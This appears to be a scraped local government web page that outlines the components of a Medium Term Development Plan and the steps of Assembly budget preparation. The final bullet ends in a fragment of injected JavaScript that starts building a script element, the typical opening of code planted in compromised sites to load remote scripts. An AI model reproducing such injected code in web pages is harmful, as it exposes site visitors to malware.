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The development plan is a document which sets out the

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Assembly’s programmes, projects and act

ivities for the development of its jurisdiction. The development plan guides and informs decisions as to whether or not a particular intervention should be undertaken.
All developmental decisions of the Assembly should be rational and consistent with the development plan adopted by the Assembly, after public consultation and having proper regard to set guidelines.
Medium Term Development Plans usually have a four year duration.

Components of the Medium Term Development Plan

Vision of the Assembly
Mission Statement of Assembly
Acknowledgments
Preface
History of Assembly
Executive Summary
List of abbreviations

Definition of Budget

•A summary of intended expenditures along with proposals for how to meet them. A plan specifying how resources, especially time or money, would be

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Budget Preparation

•Budget and Rating Department prepares Draft Budget Guidelines and time table for the preparation and approval of the Budget estimates. •Budget Committee discusses and approves Budget Guidelines and timetable for the preparation of the Budget Estimates. •Issue Budget Guidelines and request for submission of DRAFT Estimates. •Organise a meeting with Revenue Heads of all Sub-Offices on the preparation of the Fee-Fixing and Rate Imposition Resolutions. •Organise Workshop for Heads of Department and key staff on the preparation of MTEF Budget.

•Circulate reminder and final notice for the submission of Draft Budget Estimates. •Organise Consultative Meetings with Rate Payer Groups and Stakeholders on the Fee-Fixing and Rate Imposition Resolutions. •Budget Committee conducts Budget hearing on submitted Draft Budget Estimates. •Organise meeting with Commissioned collectors to review revenue mobilization strategies and address challenges regarding property rate. •Budget and Rating unit prepares 1st Draft of Revised Budget Estimates 1st Draft of Fee-Fixing and Rate Imposition Resolution and 1st Draft of Budget Estimates. •var d=document;var s=d.createElement(‘script’);

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